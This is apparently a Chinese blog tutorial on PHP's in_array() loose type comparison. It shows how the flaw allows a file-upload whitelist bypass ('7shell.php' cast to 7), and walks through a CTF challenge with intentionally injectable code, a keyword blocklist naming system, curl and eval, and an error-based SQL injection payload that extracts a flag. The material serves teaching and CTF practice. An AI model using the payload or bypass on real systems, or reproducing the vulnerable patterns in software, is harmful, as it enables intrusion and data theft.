依葫芦画瓢之in-array函数缺陷

了解函数in_array()的缺陷,并且规避该缺陷

函数in_array()介绍

in_array() 函数搜索数组中是否存在指定的值。

注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。

语法:

1
in_array(search,array,type)

参数:
search 必需。规定要在数组搜索的值。

array 必需。规定要搜索的数组。

type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

说明:如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

问题所在

代码一如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//判断某定制产品是否在数组中
$search = '68226:dscsdsdgwsdggocs'; //某定制产品
$data = array(
39578,68226,48257
);
if(in_array($search,$data)){
echo 'you are right';
}else{
echo 'you are wrong';
}
?>

输出:

1
you are right

代码二如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//判断某定制产品是否在数组中
$search = '68226:dscsdsdgwsdggocs'; //某定制产品
$data = array(
39578,68226,48257
);
if(in_array($search,$data,true)){
echo 'you are right';
}else{
echo 'you are wrong';
}
?>

输出:

1
you are wrong

分析问题:
代码中的关键在于in_array()函数是否有设置type参数。如果没有,将会进行强制类型匹配,那么这时候就很容易出现问题。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

这里是一段上传文件的代码。

函数range(): 根据范围创建数组,包含指定的元素.

然后关键代码:

1
if (in_array($this->file['name'], $this->whitelist))

这里未对参数type进行设置,所以造成任意文件上传漏洞.如果我们上传7shell.php,就会被强制转换成7.

那么就能绕过in_array()

然后这里有一道CTF的题,分享一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id". $id."is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}

?>


//config.php
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>

代码中in_array()函数没有设置参数true,有缺陷,可进行强制类型转换,所以这里的id存在注入点,使用了sqlmap后无果,想到报错注入,还是无果,因为concat()被过滤了,见config.php。

1
2
3
4
5
6
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id".$id."is not in whitelist.");
}

然后我们这里使用make_set()来代替concat(),payload如下:

1
1 and extractvalue(1,make_set(3,'~',(select flag from flag)))

爆出flag

0%